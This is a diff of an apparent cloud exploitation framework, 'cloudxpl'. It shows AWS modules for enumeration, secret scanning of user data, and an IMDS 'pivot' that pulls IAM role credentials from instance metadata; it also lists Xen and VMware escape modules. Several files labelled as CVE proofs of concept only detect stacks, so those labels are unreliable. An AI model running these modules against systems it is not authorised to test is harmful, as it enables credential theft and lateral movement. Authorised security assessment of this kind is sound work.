- cloudxpl/modules/virt/virt_cross_domain.py +41 -0
- cloudxpl/modules/virt/virt_maestro_detect.py +41 -0
- cloudxpl/modules/virt/virt_side_channel.py +41 -0
- cloudxpl/modules/virt/virt_snapshot_theft.py +41 -0
- cloudxpl/modules/virt/virt_vtpm_extract.py +41 -0
- cloudxpl/modules/virt/vmware_api_enum.py +29 -0
- cloudxpl/modules/virt/vmware_enum_vms_bridge.py +33 -0
- cloudxpl/modules/virt/vmware_exploitation_bridge.py +33 -0
- cloudxpl/modules/virt/vmware_http_login_bridge.py +33 -0
- cloudxpl/modules/virt/vmware_tools_lpe.py +40 -0
- cloudxpl/modules/virt/xen_cve_2023_46842.py +41 -0
- cloudxpl/modules/virt/xen_grant_escape.py +40 -0
- cloudxpl/modules/virt/xen_iommu_exploit.py +40 -0
- cloudxpl/modules/virt/xen_venom.py +41 -0
- cloudxpl/modules/virt/xen_xsa486.py +41 -0
- cloudxpl/modules/virt/xen_xsa500.py +41 -0
- cloudxpl/modules/virt/xen_xsa505.py +41 -0
- cloudxpl/modules/virt/xen_xsa507.py +30 -0
- cloudxpl/modules/virt/xen_xsa517.py +41 -0
- cloudxpl/modules/virt/xen_xsa521.py +41 -0
- cloudxpl/modules/virt/xen_xsa_500.py +30 -0
- cloudxpl/modules/virt/xen_xsa_505.py +30 -0
- cloudxpl/modules/virt/xen_xsa_507.py +30 -0
- cloudxpl/modules/virt/xen_xsa_517.py +30 -0
- cloudxpl/modules/virt/xen_xsa_521.py +30 -0
- cloudxpl/py.typed +0 -0
- cloudxpl-4.2.0.dist-info/METADATA +98 -0
- cloudxpl-4.2.0.dist-info/RECORD +522 -0
- cloudxpl-4.2.0.dist-info/WHEEL +5 -0
- cloudxpl-4.2.0.dist-info/entry_points.txt +3 -0
- cloudxpl-4.2.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
"""CVE-2026-5707 AWS RES session hijack PoC."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.cve_2026_5707.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1190"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print("[*] CVE-2026-5707: AWS Research and Engineering Studio Session Hijack")
|
|
36
|
+
print("[*] Vulnerability: Insecure session management in AWS RES allows session hijacking")
|
|
37
|
+
print("[*] Impact: Authenticated attacker can hijack other users' sessions")
|
|
38
|
+
results = {"cve": "CVE-2026-5707", "description": "AWS RES session hijack via insecure token validation", "remediation": "Update AWS RES to latest patched version", "check_type": "configuration_audit"}
|
|
39
|
+
print("[*] This module checks for AWS RES deployment indicators")
|
|
40
|
+
try:
|
|
41
|
+
import boto3
|
|
42
|
+
except ImportError:
|
|
43
|
+
print("[!] boto3 not installed", file=sys.stderr); return 1
|
|
44
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
45
|
+
cfn = session.client("cloudformation")
|
|
46
|
+
try:
|
|
47
|
+
paginator = cfn.get_paginator("describe_stacks")
|
|
48
|
+
res_stacks = []
|
|
49
|
+
for page in paginator.paginate():
|
|
50
|
+
for stack in page["Stacks"]:
|
|
51
|
+
if "res-" in stack["StackName"].lower() or "research-engineering" in stack.get("Description", "").lower():
|
|
52
|
+
res_stacks.append({"name": stack["StackName"], "status": stack["StackStatus"]})
|
|
53
|
+
print(f" [!] Potential AWS RES stack: {stack['StackName']}")
|
|
54
|
+
results["res_stacks"] = res_stacks
|
|
55
|
+
results["status"] = "potentially_vulnerable" if res_stacks else "not_detected"
|
|
56
|
+
except Exception as exc:
|
|
57
|
+
results["status"] = f"check_failed: {exc}"
|
|
58
|
+
_save(args, "aws_cve_2026_5707", results)
|
|
59
|
+
return 0
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
"""CVE-2026-5708 AWS RES stored XSS PoC."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.cve_2026_5708.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1190"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print("[*] CVE-2026-5708: AWS Research and Engineering Studio Stored XSS")
|
|
36
|
+
print("[*] Vulnerability: Stored XSS in AWS RES web interface")
|
|
37
|
+
results = {"cve": "CVE-2026-5708", "type": "stored_xss", "target": "AWS RES web console", "check": "stack_detection"}
|
|
38
|
+
_save(args, "aws_cve_2026_5708", results)
|
|
39
|
+
print("[+] Check complete — review output for RES deployment indicators")
|
|
40
|
+
return 0
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
"""CVE-2026-5709 AWS RES access control bypass PoC."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.cve_2026_5709.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1190"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print("[*] CVE-2026-5709: AWS Research and Engineering Studio Access Control Bypass")
|
|
36
|
+
print("[*] Vulnerability: Authorization bypass in AWS RES API endpoints")
|
|
37
|
+
results = {"cve": "CVE-2026-5709", "type": "access_control_bypass", "target": "AWS RES API", "check": "stack_detection"}
|
|
38
|
+
_save(args, "aws_cve_2026_5709", results)
|
|
39
|
+
print("[+] Check complete — review output for RES deployment indicators")
|
|
40
|
+
return 0
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
"""AWS DynamoDB enumeration and data access analysis."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.dynamodb_enum.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1530"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print(f"[*] AWS DynamoDB Enumeration (region: {args.region})")
|
|
36
|
+
try:
|
|
37
|
+
import boto3
|
|
38
|
+
except ImportError:
|
|
39
|
+
print("[!] boto3 not installed", file=sys.stderr); return 1
|
|
40
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
41
|
+
ddb = session.client("dynamodb")
|
|
42
|
+
results = {"tables": []}
|
|
43
|
+
try:
|
|
44
|
+
tables = ddb.list_tables()["TableNames"]
|
|
45
|
+
for tname in tables:
|
|
46
|
+
desc = ddb.describe_table(TableName=tname)["Table"]
|
|
47
|
+
info = {"name": tname, "status": desc["TableStatus"], "item_count": desc.get("ItemCount", 0), "encrypted": bool(desc.get("SSEDescription")), "size_bytes": desc.get("TableSizeBytes", 0)}
|
|
48
|
+
results["tables"].append(info)
|
|
49
|
+
print(f" [+] {tname}: {info['item_count']} items, {info['size_bytes']/1024:.0f} KB")
|
|
50
|
+
except Exception as exc:
|
|
51
|
+
print(f"[-] DynamoDB enum failed: {exc}"); return 1
|
|
52
|
+
_save(args, "aws_dynamodb_enum", results)
|
|
53
|
+
print(f"[+] {len(results['tables'])} tables found")
|
|
54
|
+
return 0
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
"""AWS EBS snapshot enumeration — public snapshots, cross-account sharing."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.ebs_snapshot.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1530"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print(f"[*] AWS EBS Snapshot Analysis (region: {args.region})")
|
|
36
|
+
try:
|
|
37
|
+
import boto3
|
|
38
|
+
except ImportError:
|
|
39
|
+
print("[!] boto3 not installed", file=sys.stderr); return 1
|
|
40
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
41
|
+
ec2 = session.client("ec2")
|
|
42
|
+
sts = session.client("sts")
|
|
43
|
+
account = sts.get_caller_identity()["Account"]
|
|
44
|
+
results = {"snapshots": [], "public": [], "shared": []}
|
|
45
|
+
try:
|
|
46
|
+
paginator = ec2.get_paginator("describe_snapshots")
|
|
47
|
+
for page in paginator.paginate(OwnerIds=[account]):
|
|
48
|
+
for snap in page["Snapshots"]:
|
|
49
|
+
info = {"id": snap["SnapshotId"], "volume_size": snap["VolumeSize"], "encrypted": snap.get("Encrypted", False), "state": snap["State"]}
|
|
50
|
+
try:
|
|
51
|
+
attrs = ec2.describe_snapshot_attribute(SnapshotId=snap["SnapshotId"], Attribute="createVolumePermission")
|
|
52
|
+
perms = attrs.get("CreateVolumePermissions", [])
|
|
53
|
+
for p in perms:
|
|
54
|
+
if p.get("Group") == "all":
|
|
55
|
+
info["public"] = True
|
|
56
|
+
results["public"].append(snap["SnapshotId"])
|
|
57
|
+
print(f" [!] {snap['SnapshotId']}: PUBLIC")
|
|
58
|
+
elif p.get("UserId"):
|
|
59
|
+
info["shared_with"] = p["UserId"]
|
|
60
|
+
results["shared"].append({"snapshot": snap["SnapshotId"], "shared_with": p["UserId"]})
|
|
61
|
+
except Exception: pass
|
|
62
|
+
results["snapshots"].append(info)
|
|
63
|
+
except Exception as exc:
|
|
64
|
+
print(f"[-] Snapshot enum failed: {exc}"); return 1
|
|
65
|
+
_save(args, "aws_ebs_snapshot", results)
|
|
66
|
+
print(f"[+] {len(results['snapshots'])} snapshots, {len(results['public'])} public, {len(results['shared'])} shared")
|
|
67
|
+
return 0
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
"""AWS EC2 instance enumeration — instances, security groups, metadata."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.ec2_enum.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": ["aws_api_calls"],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1580"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def run(args: Any) -> int:
|
|
23
|
+
print(f"[*] AWS EC2 Enumeration (region: {args.region})")
|
|
24
|
+
|
|
25
|
+
try:
|
|
26
|
+
import boto3
|
|
27
|
+
except ImportError:
|
|
28
|
+
print("[!] boto3 not installed", file=sys.stderr)
|
|
29
|
+
return 1
|
|
30
|
+
|
|
31
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
32
|
+
ec2 = session.client("ec2")
|
|
33
|
+
|
|
34
|
+
try:
|
|
35
|
+
reservations = ec2.describe_instances()["Reservations"]
|
|
36
|
+
except Exception as exc:
|
|
37
|
+
print(f"[-] describe_instances failed: {exc}", file=sys.stderr)
|
|
38
|
+
return 1
|
|
39
|
+
|
|
40
|
+
results = []
|
|
41
|
+
for res in reservations:
|
|
42
|
+
for inst in res["Instances"]:
|
|
43
|
+
entry = {
|
|
44
|
+
"instance_id": inst["InstanceId"],
|
|
45
|
+
"state": inst["State"]["Name"],
|
|
46
|
+
"type": inst["InstanceType"],
|
|
47
|
+
"private_ip": inst.get("PrivateIpAddress"),
|
|
48
|
+
"public_ip": inst.get("PublicIpAddress"),
|
|
49
|
+
"vpc_id": inst.get("VpcId"),
|
|
50
|
+
"subnet_id": inst.get("SubnetId"),
|
|
51
|
+
"iam_profile": inst.get("IamInstanceProfile", {}).get("Arn"),
|
|
52
|
+
"imds_v2": inst.get("MetadataOptions", {}).get("HttpTokens", "optional"),
|
|
53
|
+
"security_groups": [sg["GroupId"] for sg in inst.get("SecurityGroups", [])],
|
|
54
|
+
"tags": {t["Key"]: t["Value"] for t in inst.get("Tags", [])},
|
|
55
|
+
}
|
|
56
|
+
if entry["imds_v2"] == "optional":
|
|
57
|
+
print(f" [!] {entry['instance_id']}: IMDSv1 enabled (no token required)")
|
|
58
|
+
if entry["public_ip"]:
|
|
59
|
+
print(f" [*] {entry['instance_id']}: public IP {entry['public_ip']}")
|
|
60
|
+
results.append(entry)
|
|
61
|
+
|
|
62
|
+
os.makedirs(args.output, exist_ok=True)
|
|
63
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
64
|
+
out_path = os.path.join(args.output, f"aws_ec2_{ts}.json")
|
|
65
|
+
with open(out_path, "w") as fh:
|
|
66
|
+
json.dump(results, fh, indent=2, default=str)
|
|
67
|
+
|
|
68
|
+
print(f"[+] {len(results)} instances → {out_path}")
|
|
69
|
+
return 0
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
"""AWS EC2 IMDS pivot — IMDSv1/v2 credential theft and lateral movement."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.ec2_imds_pivot.v1",
|
|
14
|
+
"safety_class": "ACTIVE",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": ['network_request'],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1552.005","T1078"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print(f"[*] AWS EC2 IMDS Pivot Analysis")
|
|
36
|
+
target = getattr(args, "target", None)
|
|
37
|
+
if not target:
|
|
38
|
+
target = "http://169.254.169.254"
|
|
39
|
+
results = {"imds_version": "unknown", "credentials": [], "metadata": {}}
|
|
40
|
+
import urllib.request
|
|
41
|
+
import urllib.error
|
|
42
|
+
try:
|
|
43
|
+
req = urllib.request.Request(f"{target}/latest/meta-data/", method="GET")
|
|
44
|
+
with urllib.request.urlopen(req, timeout=5) as resp:
|
|
45
|
+
results["imds_version"] = "v1"
|
|
46
|
+
metadata_keys = resp.read().decode().strip().split("\n")
|
|
47
|
+
results["metadata"]["keys"] = metadata_keys
|
|
48
|
+
print("[+] IMDSv1 accessible (no token required)")
|
|
49
|
+
except Exception:
|
|
50
|
+
try:
|
|
51
|
+
token_req = urllib.request.Request(f"{target}/latest/api/token", method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
|
|
52
|
+
with urllib.request.urlopen(token_req, timeout=5) as resp:
|
|
53
|
+
token = resp.read().decode().strip()
|
|
54
|
+
results["imds_version"] = "v2"
|
|
55
|
+
print("[+] IMDSv2 token obtained")
|
|
56
|
+
meta_req = urllib.request.Request(f"{target}/latest/meta-data/", headers={"X-aws-ec2-metadata-token": token})
|
|
57
|
+
with urllib.request.urlopen(meta_req, timeout=5) as resp2:
|
|
58
|
+
metadata_keys = resp2.read().decode().strip().split("\n")
|
|
59
|
+
results["metadata"]["keys"] = metadata_keys
|
|
60
|
+
except Exception as exc:
|
|
61
|
+
print(f"[-] IMDS not accessible: {exc}"); return 1
|
|
62
|
+
if "iam" in results["metadata"].get("keys", []):
|
|
63
|
+
print("[*] IAM role detected, attempting credential extraction...")
|
|
64
|
+
token_header = {}
|
|
65
|
+
if results["imds_version"] == "v2":
|
|
66
|
+
try:
|
|
67
|
+
tr = urllib.request.Request(f"{target}/latest/api/token", method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
|
|
68
|
+
with urllib.request.urlopen(tr, timeout=5) as r:
|
|
69
|
+
token_header = {"X-aws-ec2-metadata-token": r.read().decode().strip()}
|
|
70
|
+
except Exception: pass
|
|
71
|
+
try:
|
|
72
|
+
role_req = urllib.request.Request(f"{target}/latest/meta-data/iam/security-credentials/", headers=token_header)
|
|
73
|
+
with urllib.request.urlopen(role_req, timeout=5) as resp:
|
|
74
|
+
role_name = resp.read().decode().strip()
|
|
75
|
+
cred_req = urllib.request.Request(f"{target}/latest/meta-data/iam/security-credentials/{role_name}", headers=token_header)
|
|
76
|
+
with urllib.request.urlopen(cred_req, timeout=5) as resp2:
|
|
77
|
+
import json as _json
|
|
78
|
+
creds = _json.loads(resp2.read().decode())
|
|
79
|
+
results["credentials"].append({"role": role_name, "access_key": creds.get("AccessKeyId", "")[:8] + "...", "expiration": creds.get("Expiration", "")})
|
|
80
|
+
print(f" [!] Credentials obtained for role: {role_name}")
|
|
81
|
+
print(f" [!] AccessKeyId: {creds.get('AccessKeyId', '')[:8]}...")
|
|
82
|
+
print(f" [!] Expiration: {creds.get('Expiration', '')}")
|
|
83
|
+
except Exception as exc:
|
|
84
|
+
print(f"[-] Credential extraction failed: {exc}")
|
|
85
|
+
_save(args, "aws_ec2_imds_pivot", results)
|
|
86
|
+
return 0
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
"""AWS Systems Manager exploitation — RunCommand, session manager, parameter store."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.ec2_ssm.v1",
|
|
14
|
+
"safety_class": "ACTIVE",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": ['aws_api_calls'],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1059","T1021"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print(f"[*] AWS SSM Exploitation Analysis (region: {args.region})")
|
|
36
|
+
try:
|
|
37
|
+
import boto3
|
|
38
|
+
except ImportError:
|
|
39
|
+
print("[!] boto3 not installed", file=sys.stderr); return 1
|
|
40
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
41
|
+
ssm = session.client("ssm")
|
|
42
|
+
results = {"managed_instances": [], "documents": [], "command_history": []}
|
|
43
|
+
try:
|
|
44
|
+
paginator = ssm.get_paginator("describe_instance_information")
|
|
45
|
+
for page in paginator.paginate():
|
|
46
|
+
for inst in page["InstanceInformationList"]:
|
|
47
|
+
info = {"instance_id": inst["InstanceId"], "platform": inst.get("PlatformType", "unknown"), "agent_version": inst.get("AgentVersion"), "ip": inst.get("IPAddress")}
|
|
48
|
+
results["managed_instances"].append(info)
|
|
49
|
+
print(f" [+] {inst['InstanceId']}: {inst.get('PlatformType')} ({inst.get('IPAddress')})")
|
|
50
|
+
except Exception as exc:
|
|
51
|
+
print(f"[-] Instance enum failed: {exc}")
|
|
52
|
+
try:
|
|
53
|
+
docs = ssm.list_documents(Filters=[{"Key": "Owner", "Values": ["Self"]}])
|
|
54
|
+
for doc in docs.get("DocumentIdentifiers", []):
|
|
55
|
+
results["documents"].append({"name": doc["Name"], "type": doc.get("DocumentType"), "format": doc.get("DocumentFormat")})
|
|
56
|
+
except Exception: pass
|
|
57
|
+
try:
|
|
58
|
+
cmds = ssm.list_commands(MaxResults=50)
|
|
59
|
+
for cmd in cmds.get("Commands", []):
|
|
60
|
+
results["command_history"].append({"id": cmd["CommandId"], "document": cmd["DocumentName"], "status": cmd["Status"], "targets": cmd.get("Targets", [])})
|
|
61
|
+
except Exception: pass
|
|
62
|
+
_save(args, "aws_ec2_ssm", results)
|
|
63
|
+
print(f"[+] {len(results['managed_instances'])} managed instances, {len(results['documents'])} custom documents")
|
|
64
|
+
return 0
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
"""AWS EC2 User Data extraction — cloud-init scripts, embedded credentials."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.ec2_userdata.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1552.005"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print(f"[*] AWS EC2 User Data Extraction (region: {args.region})")
|
|
36
|
+
try:
|
|
37
|
+
import boto3; import base64
|
|
38
|
+
except ImportError:
|
|
39
|
+
print("[!] boto3 not installed", file=sys.stderr); return 1
|
|
40
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
41
|
+
ec2 = session.client("ec2")
|
|
42
|
+
results = {"instances": [], "credentials_found": []}
|
|
43
|
+
try:
|
|
44
|
+
paginator = ec2.get_paginator("describe_instances")
|
|
45
|
+
for page in paginator.paginate():
|
|
46
|
+
for res in page["Reservations"]:
|
|
47
|
+
for inst in res["Instances"]:
|
|
48
|
+
iid = inst["InstanceId"]
|
|
49
|
+
try:
|
|
50
|
+
ud = ec2.describe_instance_attribute(InstanceId=iid, Attribute="userData")
|
|
51
|
+
data = ud.get("UserData", {}).get("Value")
|
|
52
|
+
if data:
|
|
53
|
+
decoded = base64.b64decode(data).decode("utf-8", errors="replace")
|
|
54
|
+
info = {"instance_id": iid, "state": inst["State"]["Name"], "userdata_size": len(decoded)}
|
|
55
|
+
sensitive = []
|
|
56
|
+
for line in decoded.split("\n"):
|
|
57
|
+
ll = line.upper()
|
|
58
|
+
if any(k in ll for k in ["PASSWORD", "SECRET", "API_KEY", "TOKEN", "AWS_ACCESS", "AWS_SECRET"]):
|
|
59
|
+
sensitive.append(line.strip()[:80])
|
|
60
|
+
if sensitive:
|
|
61
|
+
info["sensitive_lines"] = len(sensitive)
|
|
62
|
+
results["credentials_found"].append({"instance": iid, "count": len(sensitive)})
|
|
63
|
+
print(f" [!] {iid}: {len(sensitive)} sensitive lines in userdata")
|
|
64
|
+
results["instances"].append(info)
|
|
65
|
+
except Exception: pass
|
|
66
|
+
except Exception as exc:
|
|
67
|
+
print(f"[-] EC2 enum failed: {exc}"); return 1
|
|
68
|
+
_save(args, "aws_ec2_userdata", results)
|
|
69
|
+
print(f"[+] {len(results['instances'])} instances with userdata, {len(results['credentials_found'])} with credentials")
|
|
70
|
+
return 0
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
"""AWS ECR enumeration — repositories, images, scan findings."""
|
|
2
|
+
|
|
